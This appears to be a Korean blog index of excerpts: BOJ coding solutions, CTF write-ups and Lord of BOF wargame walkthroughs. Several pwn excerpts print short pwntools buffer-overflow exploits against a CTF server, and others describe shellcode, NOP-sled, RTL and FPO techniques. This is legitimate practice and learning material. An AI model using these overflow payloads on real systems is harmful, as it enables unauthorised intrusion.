백준 온라인 저지 11655번 ROT13 https://www.acmicpc.net/problem/11655 11655번: ROT13 11655번 제출 맞은 사람 숏코딩 재채점/수정 채점 현황 강의 ROT13 분류 시간 제한 메모리 제한 제출 정답 맞은 사람 정답 비율 1 초 256 MB 8840 5360 4681 62.206% 문제 ROT13은 카이사르 암호의 일종으로 영어 알파벳을 13글자씩 밀어서 만든다. 예를 들어, "Baekjoon Online Judge"를 ROT13으로 암호화하면 "Onrxwbba Bayvar Whqtr"가 된다. ROT13으로 암호화한 내용을 원래 내용으로 바꾸려면 암호화한 문자열을 다시 ROT13하면 된다. 앞에서 암호화한 문자열 ... www.acmicpc.net 문제 풀이 - input string은 대문자, 소문자, 공백, 숫자로만 구성 - ROT13은 대문자, 소문자에만 적용가능하다. 두 가지만 잘 기억하고 풀면 될듯(대문자인 경우, 소문자인

[백준/BOJ] 1652번 누울 자리를 찾아라 [내부링크]

백준 온라인 저지 1652번 누울 자지를 찾아라 https://www.acmicpc.net/problem/1652 1652번: 누울 자리를 찾아라 1652번 제출 맞은 사람 숏코딩 재채점/수정 채점 현황 강의 누울 자리를 찾아라 분류 시간 제한 메모리 제한 제출 정답 맞은 사람 정답 비율 2 초 128 MB 9992 3934 3277 40.723% 문제 일 년 동안 세계일주를 하던 영식이는 여행을 하다 너무 피곤해서 근처에 있는 코레스코 콘도에서 하룻밤 잠을 자기로 하고 방을 잡았다. 코레스코 콘도에 있는 방은 NxN의 정사각형모양으로 생겼다. 방 안에는 옮길 수 없는 짐들이 이것저것 많이 있어서 영식이의 누울 자리를 차지하고 있었다. 영식이는 이 열악한 환경에서 누울 수 있... www.acmicpc.net 문제 풀이 1. 정사각형 모양의 타일을 가로로만 잘라 N개의 원소를 가진 리스트를 만듬 2. ~ 를 세로로만 잘라 N개의 원소를 가진 리스트를 만듬 3. '.' 의 개수에 따라

[백준/BOJ] 9093번 단어 뒤집기 [내부링크]

백준 온라인 저지 9093번 단어 뒤집기 https://www.acmicpc.net/problem/9093 9093번: 단어 뒤집기 9093번 제출 맞은 사람 숏코딩 재채점/수정 채점 현황 강의 단어 뒤집기 출처 다국어 분류 시간 제한 메모리 제한 제출 정답 맞은 사람 정답 비율 1 초 128 MB 8390 3977 3061 49.371% 문제 문장이 주어졌을 때, 단어를 모두 뒤집어서 출력하는 프로그램을 작성하시오. 단, 단어의 순서는 바꿀 수 없다. 단어는 영어 알파벳으로만 이루어져 있다. 입력 첫째 줄에 테스트 케이스의 개수 T가 주어진다. 각 테스트 케이스는 한 줄로 이루어져 있으며, 문장이 하나 주어진다. 단어의 길이는 최대 20, 문장의 길이는 최대 ... www.acmicpc.net 문제 풀이 - 빈칸을 기준으로 문자열을 잘라서 각 자른 문자열을 뒤집고 출력하면 됨. import sys num = int(sys.stdin.readline().rstrip()) lst =

[백준/BOJ] 1259번 팰린드롬수 [내부링크]

백준 온라인 저지 1259번 팰린드롬수 https://www.acmicpc.net/problem/1259 1259번: 팰린드롬수 1259번 제출 맞은 사람 숏코딩 재채점/수정 채점 현황 강의 팰린드롬수 출처 다국어 분류 시간 제한 메모리 제한 제출 정답 맞은 사람 정답 비율 1 초 128 MB 5096 3258 2973 65.485% 문제 어떤 단어를 뒤에서부터 읽어도 똑같다면 그 단어를 팰린드롬이라고 한다. 'radar', 'sees'는 팰린드롬이다. 수도 팰린드롬으로 취급할 수 있다. 수의 숫자들을 뒤에서부터 읽어도 같다면 그 수는 팰린드롬수다. 121, 12421 등은 팰린드롬수다. 123, 1231은 뒤에서부터 읽으면 다르므로 팰린드롬수가 아니다. 또... www.acmicpc.net 문제 풀이 - 입력 값과 입력 값을 뒤집은 값을 비교하는 과정만 있으면 됨. (입력의 마지막을 의미하는 0인 경우는 제외 = string != '0') import sys while True:

[백준/BOJ] 11816번 8진수, 10진수, 16진수 [내부링크]

백준 온라인 저지 11816번 8진수, 10진수, 16진수 https://www.acmicpc.net/problem/11816 11816번: 8진수, 10진수, 16진수 11816번 제출 맞은 사람 숏코딩 재채점/수정 채점 현황 강의 8진수, 10진수, 16진수 분류 시간 제한 메모리 제한 제출 정답 맞은 사람 정답 비율 1 초 256 MB 2992 2098 1845 70.989% 문제 정수 X가 주어진다. 정수 X는 항상 8진수, 10진수, 16진수 중에 하나이다. 8진수인 경우에는 수의 앞에 0이 주어지고, 16진수인 경우에는 0x가 주어진다. X를 10진수로 바꿔서 출력하는 프로그램을 작성하시오. 입력 첫째 줄에 X가 주어진다. X는 10진수로 바꿨을 때, 1,000,000보다 작거나 같은 자... www.acmicpc.net 문제 풀이 입력 값의 형태는 총 3가지(10진수, 8진수, 16진수), 출력 값의 형태는 10진수 16진수 -> 10진수, 8진수 -> 10진수 각각 두

[백준/BOJ] 17413번 단어 뒤집기 2 [내부링크]

백준 온라인 저지 17413번 단어 뒤집기 2 https://www.acmicpc.net/problem/17413 17413번: 단어 뒤집기 2 문제 문자열 S가 주어졌을 때, 이 문자열에서 단어만 뒤집으려고 한다. 먼저, 문자열 S는 아래와과 같은 규칙을 지킨다. 알파벳 소문자(' a '-' z '), 숫자(' 0 '-' 9 '), 공백(' '), 특수 문자(' < ', ' > ')로만 이루어져 있다. 문자열의 시작과 끝은 공백이 아니다. ' < '와 ' > '가 문자열에 있는 경우 번갈아가면서 등장하며, ' < '이 먼저 등장한다. 또, 두 문자의 개수는 같다. 태그는 ' < '로 시작해서 ' > '로 끝나는 길이가 3 이상인 부분 문자열이고, ' < '와 ' > ' 사... www.acmicpc.net 문제 풀이 기본적인 풀이법은 스택을 이용 - '<' 문자열을 입력 받았을 때, '>' 문자열을 입력 받았을 때, 공백을 입력 받았을 때, 그 외 나머지 ... 나눠서 구상해 보길

[백준/BOJ] 3059번 등장하지 않는 문자의 합 [내부링크]

백준 온라인 저지 3059번 등장하지 않는 문자의 합 https://www.acmicpc.net/problem/3059 3059번: 등장하지 않는 문자의 합 3059번 제출 맞은 사람 숏코딩 재채점/수정 채점 현황 강의 등장하지 않는 문자의 합 분류 시간 제한 메모리 제한 제출 정답 맞은 사람 정답 비율 1 초 128 MB 2773 1623 1484 59.124% 문제 알파벳 대문자로 구성되어있는 문자열 S가 주어졌을 때, S에 등장하지 않는 알파벳 대문자의 아스키 코드 값의 합을 구하는 프로그램을 작성하시오. 문자열 S가 “ABCDEFGHIJKLMNOPQRSTUVW” 일 때, S에 등장하지 않는 알파벳 대문자는 X, Y, Z이다. X의 아스키 코드 값은 88, Y는 89, Z는 90이... www.acmicpc.net 문제 풀이 - 알파벳 개수 만큼의 배열을 만듬 - 테스트케이스의 문자열 하나 하나 배열에서 카운팅 (ex. 'A' -> [0], 'B' -> [1], 'C' -> [

[Pwn] N00bCTF Pwn Over the RET [내부링크]

3) Over the RET (150) RET를 Overwrite 하는 문제이다. NX 활성화, Partial Relro 이므로 쉘 코드 박는 것은 불가능하다. 이 정도만 알고 분석해보자. main func vuln func 위의 두 함수에서 다음과 같은 3가지 포인트를 찾아낼 수 있다. 1) vuln 함수에 인자로 0x116D56D가 들어가는 것 2) vuln 함수에서 a1 == 0xBFB416이면 쉘을 따낼 수 있는 것 3) vuln 함수에서 BOF에 취약한 gets() 를 사용하는 것 vuln 함수에서 a1 변수의 값은 vuln 함수를 호출시켰을 때 전달한 파라미터 값과 동일하고 [ebp + 8] 주소에 위치한다. 그렇다면 Buffer(64) + SFP(4) + RET(4) + a1 이런 스택 상황임을 알 수 있다. 결론, Dummy(72) + a1(0xBFB416)이 페이로드가 된다. from pwn import * p = remote('52.79.224.215', 30007

[Crypto] N00bCTF Crypto You Decode it? [내부링크]

3) You Decode it ? (175) 이것을 해독할 수 있니 ? 라는 제목의 문제인데 txt 파일이 하나 주어진다. 무언가를 암호화 하는 함수가 하나 있고, 아래 주석을 보면 list_[]는 암호화 된 암호문을 의미하는 것 같다. 암호화의 역순으로 복호화하면 끝난다. 다만 우리는 기존의 평문도 알지 못하고, 암호화 루틴에 들어가는 shift 라는 변수 역시 0 ~ 950 사이 라는 정보 밖에 알지 못한다. - list_[] 원소를 16 진수에서 -> 10 진수로 변환하고, XOR 99 하면, ord(c) + shift 의 값을 알 수 있음 - ord(c)는 33 ~ 125, shift는 0 ~ 950 이므로 ord(c) + shift 의 값에서 950 부터 949, 948 ... 순으로 빼다 보면, 알아 볼만한 문장이 나올 것이라 생각했음 list_ = ['0x475', '0x3b0', '0x471', '0x47a', '0x39c', '0x465', '0x476', '0x46

[CTF] 2020 RESTCON CTF Write Up [내부링크]

Forensic - MAGIC : 1 (20 point) - DANCE MONKEY (20 point) - Bad cat (50 point) - Dumpster Diving (100 point) - Binod (300 point) 첨부파일 2020 RESTCON CTF Forensic(1)_ksil.pdf 파일 다운로드 Debugging - Cool stuff with python (100 point) 첨부파일 2020 RESTCON CTF Debugging_ksil.pdf 파일 다운로드 Reverse - Baby rev (20 point) - REVERSE : 1 (100 point) 첨부파일 2020 RESTCON CTF Reverse_ksil.pdf 파일 다운로드

[CTF] 2020 ALLES! CTF Write Up 진행중 [내부링크]

Contents * Reverse Engineering - Flag Service Revolution (137 pts) * Reverse Engineering - prehistoric mario (113 pts) * Bash - shebang (99 pts) * Misc - Archiver (115 pts) * Misc - Pyjail ATricks (80 pts) * Misc - Pyjail Escape (101 pts) 첨부파일 2020 ALLES! CTF Write Up(shebang).pdf 파일 다운로드

[백준/BOJ] 9012번 괄호 [내부링크]

백준 온라인 저지 9012번 괄호 https://www.acmicpc.net/problem/9012 9012번: 괄호 9012번 제출 맞은 사람 숏코딩 재채점/수정 채점 현황 강의 괄호 출처 다국어 분류 시간 제한 메모리 제한 제출 정답 맞은 사람 정답 비율 1 초 128 MB 69354 29236 21064 41.043% 문제 괄호 문자열(Parenthesis String, PS)은 두 개의 괄호 기호인 ‘(’ 와 ‘)’ 만으로 구성되어 있는 문자열이다. 그 중에서 괄호의 모양이 바르게 구성된 문자열을 올바른 괄호 문자열(Valid PS, VPS)이라고 부른다. 한 쌍의 괄호 기호로 된 “( )” 문자열은 기본 VPS 이라고 부른다. 만일 x 가... www.acmicpc.net 문제 풀이 코드는 너무 의식의 흐름대로 작성해서 더럽고, 가독성 떨어지기 때문에 참고하지 않았음 좋겠다. 입력으로 주어지는 괄호 문자열이 VPS인지 아닌지 판단하는 기준만 세우면 된다. 1) '(', ')

[백준/BOJ] 1032번 명령 프롬프트 [내부링크]

백준 온라인 저지 1032번 명령 프롬프트 https://www.acmicpc.net/problem/1032 1032번: 명령 프롬프트 1032번 제출 맞은 사람 숏코딩 재채점/수정 채점 현황 강의 명령 프롬프트 분류 시간 제한 메모리 제한 제출 정답 맞은 사람 정답 비율 2 초 128 MB 15420 7512 6438 50.451% 문제 시작 -> 실행 -> cmd를 쳐보자. 검정 화면이 눈에 보인다. 여기서 dir이라고 치면 그 디렉토리에 있는 서브디렉토리와 파일이 모두 나온다. 이때 원하는 파일을 찾으려면 다음과 같이 하면 된다. dir *.exe라고 치면 확장자가 exe인 파일이 다 나온다. "dir 패턴"과 같이 치면 그 패턴에 맞는 파일만 검색 결과로 나... www.acmicpc.net 문제 풀이 - 문제는 매우 쉬운 편 (생각지도 못한 반례들이 있어 헤맴) ex) [0][0]과 [1][0] 비교, [0][0]과 [2][0] 비교 [0][0]과 [3][0] 비교 ...

[Forensic] N00bCTF multimedia forensic 1 - 5 [내부링크]

1) Welcome Forensic World (30) 문제 문제에서는 png 이미지 파일 하나가 주어진다. 위와 같은 그림이 주어지는데 그림에는 별거 없을 것 같아서 HxD로 까면 푸터 시그니처 뒤에 플래그가 있다. 2) Where_is_flag (50) 문제 문제에서 png 이미지 파일이 하나 주어진다. 그러나 다운 받아서 열었을 때 깨진 이미지 파일이라 열리지 않는다. 복구하면 플래그가 뜰 것 같이 생겼다. png 이미지 파일로 주어져 있어서 png 헤더와 푸터 시그니처로 복구하였는데 복구가 안됨; 마지막 FF D9가 힌트였다. 사실은 jpg 파일이었기 때문에 헤더를 jpg 헤더로 복구하면 해결할 수 있음 3) Dark web (100) 문제 jpg 이미지 파일 하나가 주어진다. View Hint에 보면 base 라는 단어가 있다. 이미지 파일 안에 존재하는 Base 인코딩 된 문자열이 존재할 것이라고 생각된다. Base 32로 디코딩 하면 플래그가 나옴 4) What is d

[Forensic] N00bCTF multimedia forensic please find my thumb!! [내부링크]

6) please find my thumb!! (200) .jpg 파일이 주어진다. Metadata 파일을 대충 분석해보면 메타 데이터들이 기록되는 부분에 출제자가 임의로 넣어놓은 문자열이 보임. (추후 .zip 파일의 key로 사용) 결정적으로 EOF 이후에 데이터들이 존재하는 것이 보임, binwalk로 카빙하면 플래그의 form과 Thumbs.db 파일이 보이는데 Thumbs.db 파일을 Thumbs Viewer로 열어 저장하면 플래그가 나옴. ref : https://nightohl.tistory.com/entry/EXIF-Format?category=749444 [Exif format] 문제를 풀기에 앞서 JPEG 파일의 구조를 먼저 보다가 Exif format에 대해 읽어 보았는데 Exif format에는 이미지의 정보와 Thumbsnail을 담는 다는 이야기를 듣고 메타데이터 부근에 문제를 풀 수 있는 key가 있을 것이라고 생각했다. 모든 문제는 무작정 까보고 방향 없

[Forensic] N00bCTF multimedia forensic Please open steganography [내부링크]

7) Please open steganography (200) .png 이미지 파일이 주어지는 전형적인 스테가노 그래피 문제이다. 문제 파일을 확인해보면 IEND 청크 뒤에 추가적인 데이터가 있음을 확인할 수 있음. ("OPENLOCK" string) 아까 찾은 key 값을 이용하여 데이터를 추출해 내면 flag.txt 라는 파일을 얻을 수 있음 # open steganography + EOI 뒤에 존재하는 string = OpenStego에서 key(string)를 이용하여 Data Extract로 쉽게 접근할 수 있음

[Pwn] N00bCTF Pwn What is bof? [내부링크]

1) What is bof? (100) BOF가 뭔지 물어보는 기본적인 문제이다. 우선 32bit 리눅스 실행 파일이 주어진다. 메모리 보호기법에는 NX 활성화, Partial Relro 외에 특별한 기법은 없다. (기본 문제라 그런가 보다.) 쉘 코드를 사용할 수 없으므로 바이너리 내에 호출할 수 있는 함수가 있을 것이다. (실제로 존재, flag = 0x08048516) Buffer(20) + SFP(4) + RET(0x08048516) 페이로드가 완성 되었다. // pwn1.py from pwn import * p = remote("52.79.224.215", 30005) p.recvuntil(">> ") payload = "\x90"*24 payload += p32(0x08048516) p.sendline(payload) p.interactive()

[Pwn] N00bCTF Pwn very ezzzzzz!! [내부링크]

2) very ezzzzzz!! (100) 이번 문제도 기본적인 BOF 문제이다. 마찬가지로 32bit 리눅스 실행 파일이 주어지고, 메모리 보호기법 역시 NX, Partial Relro 뿐이다. 쉘 코드 사용이 불가능 하므로, 바이너리 안의 함수를 잘 뒤져 보자. get_flag = 0x0804 - 메인 함수에는 gets로 문자열을 입력 받고, x초 간격으로 puts 함수를 통해 문자열을 출력한다. 그리고 sleep_puts 함수가 모두 종료 되면 N00bCTF{...} 플래그를 띄우게 되는데 지금 보고 있는 플래그가 답이 아닌 것만 알고 문제를 풀어보자. - get_flag 라는 이름의 쉘을 띄우는 함수를 이용하여 페이로드를 구성할 것이다. Buffer(64) + SFP(4) + RET(0x08048556) 페이로드가 완성 되었다. // pwn2.py from pwn import * p = remote('52.79.224.215', 30006) payload = "\x90"*68

OBC 정보통신학교 입교 4일차 [내부링크]

당분간 블로그에 글을 올리기 힘들 것 같다. 정보 공유의 의미라기 보다는 내가 무엇을 공부하고 있는지에 대한 기록의 의미로서 포스팅을 하고 있었는데 아쉽다. 2020년 3월 2일 2년 간의 학군단 생활으로거쳐 대한민국 육군 소위로서 임관하였고, 정보 통신병과 인지라, 초군반 즉 OBC(Officer's Basic Course)과정을 대전 자운대에 위치한 육군 정보통신학교에서 교육 받게 된다. 입교하기 전에도, 물론 지금까지도 기존에 하던 공부가 끊길까봐 많이 걱정되고 두려웠다. 하지만 앞으로의 OBC 과정을 수료하고 자대로 가게 되면 개인적인 시간 동안 틈틈히 계속 이어나갈 생각이다. 이 곳의 교육과정 내에도 리눅스 관련 교육, 패킷 트레이서를 사용한 네트워크 운용 등이 존재하여 기대가 되기도 한다. 현재 코로나 19로 인해 외박, 외출이 2주차까지 제한이 되어 있는 상태지만 그 이후 나가게 되면 입교하기 전까지 진행했던 CTF Write up이나 포너블 공부를 잊지 말고 진행해야겠

[LOB] Lord of BOF darkknight -&gt; bugbear [내부링크]

ID : darkknight PW : new attacker 힌트로 RTL이 나왔다. 기존의 BOF 공격은 RET에 쉘 코드의 주소를 덮어 씌움으로써 EIP를 변조시켜 프로그램의 실행 흐름을 바꾸는 방식 이었다면, RTL은 Return-to-Libc의 약자로 RET에 라이브러리 함수의 주소를 덮어 씌워 라이브러리 내의 함수를 실행시키는 기법이다. 현재 argv[1][47]이 &#x27;\xbf&#x27;가 아니어야 한다. RET로 스택의 주소를 사용할 수 없음과 동시에 쉘 코드를 스택에 박을 수 없다는 의미이다. RTL에 관한 기본적인 지식은 달고나의 BOF 기초 문서 뒷 부분, 또는 이전에 올린 RTL 자료 정도만 봐도 이해가 잘 될 것이다. 그래서 원리에 대한 내용은 생략한다. 기본 원리에 대해서 이.......

[LOB] Lord of BOF golem -&gt; darknight [내부링크]

ID : golem PW : cup of coffee 문제에서 FPO 라는 단어가 주어졌다. Frame Pointer Overflow 라는 스택 프레임 포인터의 1 byte를 Overwrite 하여 프로그램의 실행 흐름을 바꿀 수 있는 기법으로 해당 기법을 이용하여 문제를 해결하라는 의미였다. 문제를 풀기 전에 FPO의 기초적인 부분을 다루는 문서를 가지고 공부를 했다. 기존의 방식은 RET를 직접 Overwrite 하여 익스플로잇 했다면, SFP를 1 byte 변조함으로써 RET를 간접적으로 변조하여 익스하는 방식이었다. FPO가 가능한 조건으로는 SFP 영역에서 1 byte 오버플로우가 발생한다는 점, 메인 함수 이외의 서브 함수가 필요하다는 점이다. 이 문제는 2가지 조건을 모두 만족한다. - 버.......

[Pwn] FPO(Frame Pointer Overflow) 자료 [내부링크]

LOB 문제를 풀다가 알게 된 기법, SFP의 1바이트를 덮어 씌워 프로그램의 실행 흐름을 바꾼다. BOF의 개념, 스택 프레임과 함수의 프롤로그, 에필로그 정도만 알고 있어도 쉽게 이해할 수 있는 문서 였다. [FPO] http://research.hackerschool.org/Datas/Research_Lecture/sfp.txt

[LOB] Lord of BOF skeleton -&gt; golem [내부링크]

ID : skeleton PW : shellcoder 이번 문제의 조건 부터 살펴 보자. 1. argc가 2 이상 2. argv[1][47] &#x3D;&#x3D; &#x27;\xbf&#x27; 3. buffer 0으로 초기화, 그러나 이번에는 SFP 까지 초기화 한다. 4. RET 아래에 있는 argc, argv[0] ... 스택의 끝까지 모든 영역을 0으로 초기화 한다. (stack destroyer!) 실제로 보면 RET 주소 아래로 모든 영역이 초기화 되었음을 볼 수 있다. env - argv - argc - RET - SFP - Buffer 까지의 모든 영역을 사용할 수 없게 되었다. 삽질을 계속하다 못 풀겠어서 여러 solution 들을 살펴 보면서 공부했다. LD_PRELOAD 를 이용한 BOF LD_PRELOAD 프로세스를 실행하는 중에 라이브러리를 로딩할 때, LD_PRELOA.......

[LOB] Lord of BOF troll -&gt; vampire [내부링크]

ID : troll PW : aspirin 조건들이 많이 사라지고, 문제가 많이 간단해졌다. 1. argc 2개 이상 2. argv[1][47] &#x3D;&#x3D; &#x27;\xbf&#x27; 3. argv[1][46] !&#x3D; &#x27;\xff&#x27; 이어야 한다. 버퍼, 환경 변수 등 모든 영역이 사용가능하다. argv[1][44], argv[1][45], argv[1][46], argv[1][47]은 항상 쉘 코드 있는 NOP으로 덮어 씌우던 RET 영역의 주소로써 항상 &#x27;\xbfff ~&#x27; 의 형식으로 사용해 왔다. 그래서 RET 주소를 &#x27;\xbfff ~&#x27;에서 &#x27;\xbffe ~ &#x27; 까지 내려야 한다. * 매개변수에 전달되는 값의 크기가 크면 스택은 아래쪽(주소 낮은쪽)에 자리 잡는다. 매개변수에 NOP을 무수히 박고 주소를 \xbffe.......

[LOB] Lord of BOF vampire -&gt; skeleton [내부링크]

ID : vampire PW : music world - argc 2개 이상 - 환경 변수 메모리 영역 초기화 - argv[1][47] &#x3D;&#x3D; &#x27;\xbf&#x27; - argv[1]의 길이 48 이하 - 버퍼 초기화 - argv 모든 영역 초기화 이번에 새롭게 추가 된 조건은 &#x27;argv hunter&#x27; 라는 이름의 argv의 모든 영역을 초기화 하는 코드가 들어 있다. 그러면 우리가 사용할 수 있는 영역은 SFP, RET 영역 밖에 존재하지 않는데 몰라서 찾아 봤다. SFP, RET 메모리 영역이다. 초기화 되지 않고 잘 들어 있다. 스택의 끝 부분까지 살펴 보게 되면 argv[0]이 살아 있는 것을 볼 수 있다. 이것을 이용할 생각읋 하지 못했다. argv[0] 영역에 NOP과 &#x27;\x2f&#x27;가 없는 쉘 코.......

[LOB] Lord Of BOF darkelf -&gt; orge [내부링크]

ID : darkelf PW : kernel crashed 지난 문제에서 추가 된 조건은 argv[0]의 길이를 제한둔 것이다. argv[0] 길이가 77이어야 하는 조건을 맞춰야 하는 것인데 처음 풀 때는 심볼릭 링크를 이용하여 풀었었지만, 이번에는 다른 방식으로 풀었다. argv[0]에는 파일의 경로와 파일의 이름이 담겨 있다. 해당 디렉터리에서 orge 바이너리를 실행하면 argv[0]에는 /home/darkelf/orge로 총 길이 18 만큼이 담기게 되는 것이다. argv[0]을 77로 맞추기 위해 /home/darkelf/A.......A/orge 처럼 디렉터리를 하나 만든다. 그리고 문제에서 주어진 바이너리를 해당 디렉터리로 옮겨서 진행하면 argv[0] 조건을 우회할 수 있다. 쉘을 따는 방법은 다른 조.......

[LOB] Lord of BOF orge -&gt; troll [내부링크]

ID : orge PW : timewalker troll 문제에서는 2가지 조건이 추가 되고, 저번 문제에서 나왔던 argv[0]가 77글자가 되어야 한다는 조건이 사라졌다 argc 는 무조건 2, argv[1]의 메모리 영역 초기화라는 2가지 조건이 추가 등장했다. 이로써 우리가 가용할 수 있는 메모리 영역은 SFP, RET, argc, argv[0]이다. 그러면 argv[0] 영역을 이용해서 익스플로잇을 해보자. argv[0] 메모리 영역을 사용하기 위해서는 심볼릭 링크를 사용해야 한다. 심볼릭 링크를 이용하여 troll의 링크 파일의 이름을 NOP + Shellcode로 만들고 RET의 주소를 argv[0]에서 NOP Sled가 시작되는 부근의 주소로 덮어 씌우면 쉘을 획득할 수 있다. 다만 주의할 점은 기존에.......

[LOB] Lord of BOF orc -&gt; wolfman [내부링크]

ID : orc PW : cantata 문제는 비슷한데 단계가 올라갈 때마다 조건들이 하나 씩 추가 되는 모습이다. buffer hunter 라는 조건이 추가 되었다. 한 줄 짜리 코드를 보면 buffer에 40 만큼의 크기를 0으로 세팅하는 코드이다. 한 마디로 버퍼를 0으로 초기화 함으로써 버퍼에 쉘 코드를 삽입하여 RET를 변조 했던 것들이 이제는 할 수 없게 되었다. RET의 아래 부분 즉 argc, argv[0]. argv[1] .. 공간들은 우리가 충분히 덮어 씌울 수 있는 공간이었다. Buffer hunter에 의해 버퍼는 초기화 되더라도 RET 아래 메모리 영역은 보존된다는 것을 확인 했다. 그러면 payload를 구성해보자. Payload &#x3D; dummy(44) + RET(0xbfffab4) + NOP(50) + Sh.......

[LOB] Lord of BOF wolfman -&gt; darkelf [내부링크]

ID : wolfman PW : love eyuna 조건이 하나 더 추가 되었다. argument의 길이를 체크하는 조건이다. 기존에 있던 조건에 argv[1]의 길이를 48 이하로 하여 공격을 시도해야 한다. 문제들의 단계가 올라갈수록 우리가 사용할 수 있는 공간들에 제약이 생긴다. RET 밑으로는 argc, argv[0], argv[1], argv[2] ... 순서대로 해당 내용의 데이터들이 메모리 영역을 차지하고 있다. 저번 문제까지 argv[1]만 사용했지만 argv[1]에 제약이 생긴 경우에는 argv[2] 메모리 영역을 이용하면 된다. 띄어 쓰기를 사용함으로써 argv[2]의 메모리 영역을 사용할 수 있다. RET 변조를 위해 스택에 더미를 채우고 argv[2]에 &#34;B&#34;라는 임의의 데이터를 1.......

[LOB] Lord of BOF goblin -&gt; orc [내부링크]

ID : goblin PW : hackers proof 지난 문제들과 다르게 이번에는 조건들이 2개 정도 추가 된 모습이다. - argc가 1보다 작거나 같이아 한다는 점 (기존과 동일) - egghunter (환경 변수 메모리를 0으로 리셋 시킴) -&#62; 환경 변수를 이용한 익스 불가 - argv[1][47]이 &#x27;\xbf&#x27;가 되어야 함 버퍼의 크기는 40, i 변수의 크기로 4 만큼 스택에 공간이 할당되어 있다. 현재 스택의 전체적인 모습으로는 이렇다. 쉘 코드도 박을 수 있을 만큼 버퍼의 크기도 넉넉하고, 버퍼의 공간에서 NOP Sled를 이용하면 RET의 주소 값도 \xbf로 시작한다. payload는 NOP(19) + Shellcode(25) + RET(NOP 19개 사이의 주소)이다. RET를 덮어 씌울 주소를.......

[LOB] Lord of BOF gremlin -&gt; cobolt [내부링크]

ID : gremlin PW : hello bof world 조건은 지난번 gremlin 문제와 동일한데, 버퍼의 크기가 쉘 코드를 박기엔 넉넉하지 않다. 달고나의 BOF 기초 문서를 보면 나와 있는 내용에서 힌트를 얻을 수 있다. 현재 로컬 환경에서 익스를 하는 경우 export 명령을 통해 환경 변수를 추가하고 getenv, putenv 등 환경 변수 관련 API들을 사용할 수 있다. GETSHELL 이라는 환경 변수에 NOP을 넉넉하게 앞에 채워준 쉘 코드를 추가한다. 그리고 echo $[환경 변수명]을 통해 환경 변수가 제대로 추가되었는지 확인할 수 있다. - 처음에는 그냥 환경 변수에 쉘 코드만 박았을 때는 쉘이 안 뜨고, NOP를 추가한 쉘 코드를 박았을 때는 정상적으로 쉘이 떴다. .......

[LOB] Lord of BOF cobolt -&gt; goblin [내부링크]

ID : cobolt PW : hacking exposed 지난번 cobolt 문제와 굉장히 비슷하지만 함수 실행시 파라미터를 같이 넘겨주는 것이 cobolt 였다면, goblin은 함수를 실행하고나서 gets() 를 통해 입력 받는 것을 볼 수 있다. 그렇게 때문에 환경 변수를 사용하는 방법도 사용 가능하고, get() 에서 크기에 제한을 두지 않고 입력 받기 때문에 쉘 코드를 직접 삽입하여 RET 변조를 통해 쉘을 획득할 수도 있다. 후자의 방법으로 진행한다. 버퍼의 크기만큼 A 16개, SFP는 S로 덮고, RET는 R로 덮었다. RET 뒤로는 쉘 코드를 삽입할 것이기 때문에 임의의 수 1을 넣어 보았다. payload는 dummy(20) + RET(0xbffffad4) + NOP(100) + shellcode(25)로 생각해 볼.......

[Pwn] RTL(Return to Libc) 자료 [내부링크]

포너블 익스플로잇 기법들을 공부하다가 정리할까 라는 생각도 해봤는데, 너무 잘 정리되어 있는 블로그나 문서들 때문에 굳이 그럴 필요가 없었다. 출처 : https://5kyc1ad.tistory.com/ https://www.lazenca.net/display/TEC/02.RTL%28Return+to+Libc%29+-+x64 https://5kyc1ad.tistory.com/49

[Docker] Installing Docker, Docker-compose (in Ubuntu 18.04) [내부링크]

부연 설명 없이 간단 핵심만 정리한다.

[Docker] Docker 간단 사용법 [내부링크]

도커 설치는 전 포스팅에서 이미 다뤄 보았다. 도커를 다루는 데 있어 기본적인 명령어들만 까먹을까봐 기록한다. ref : https://subicura.com/2017/01/19/docker-guide-for-beginners-1.html

[Reversing] N00bCTF How you find my flag? [내부링크]

Rev - How you find my flag? (150 point) http://52.79.224.215/challenges 리버싱 문제는 1문제 있어서 한 문제 있어서 한번 풀어봤다. 기본적으로 주어지는 문제 바이너리는 32-bit 리눅스 실행 파일이다. 입력 값을 받는데 항상 결과 값은 똑같다. 플래그가 아래에 있다는 말만 있다. main() 에서는 특별한 건 없다. 그래서 여기만 보면 딱히 할게 없는데,, 함수 목록을 보니 이름이 신기한게 있어 확인해 봤더니 뭔가 암호화 되어 있는 문자열이 있고 복호화하는 루틴이 존재 했다. 파이썬으로 복호화 스크립트를 짜서 돌려 보면, 플래그가 뜰거 같다. 스크립트를 돌리면, N00bCTF{Wh3r3 까지 밖에 뜨지 않는다. N00bCTF{Wh3r3 + I5_My(func.......

[LOB] Lord of BOF gate -&gt; gremlin [내부링크]

ID : gate PW : gate - gremlin 이라는 바이너리와 gremlin.c 소스 코드가 주어진다. - simple BOF 라는 문제 이름 답게 넉넉한 버퍼의 크기가 주어지고, 조건들은 없다. - 버퍼에 쉘 코드 박고, RET를 변조하면 되는 문제이다. payload는 NOP(200) + 쉘 코드(25) + NOP(35) + RET(&#x3D; NOP 200 사이의 주소)로 구성하여 NOP Sled를 통해 쉘을 획득할 수 있을 것이다. 버퍼의 시작이 어느 주소인지 확인해 본다. 대충 main+54 부근에 BP를 걸고 임의의 값을 파라미터로 주어 스택을 확인해 본다. 0xbffff9b9 부터 시작하여 A가 주루룩 박히는걸 확인할 수 있다. 어차피 NOP Sled를 타기 때문에 버퍼의 시작 주소든 중간 주소든 아무거나 get 해.......

[Pwn] HackCTF BOF_PIE [내부링크]

Pwnable - BOF_PIE (150 points)- 32-bit 리눅스 실행파일- NX Enabled, PIE Enabled, Partial RELRO의 보호기법이 적용되어 있음- 문제 바이너리를 실행하면 특정 주소가 하나 뜨는데 IDA에서 확인해 봐야함- Input 값을 넣으면 &#34;Nah...&#34; 문자열이 출력된다.메인 함수는 정말 간단하다. welcome()을 호출하고 &#34;Nah...&#34; 문자열을 출력하고 끝이다.welcome()을 살펴보자.문제에서 BOF를 제시한 만큼, scanf()에서 BOF가 발생한다. 그리고 IDA 함수 목록에서 j0n9hyun 함수에서 flag를 읽는 다는 것을 확인했다.이전의 문제를 풀다 보면 알겠지만, NX가 걸려 있는 상황에서 쉘 코드를 삽입할 수 없을 때 쉘을 띄우는 함.......

[Pwn] HackCTF Offset [내부링크]

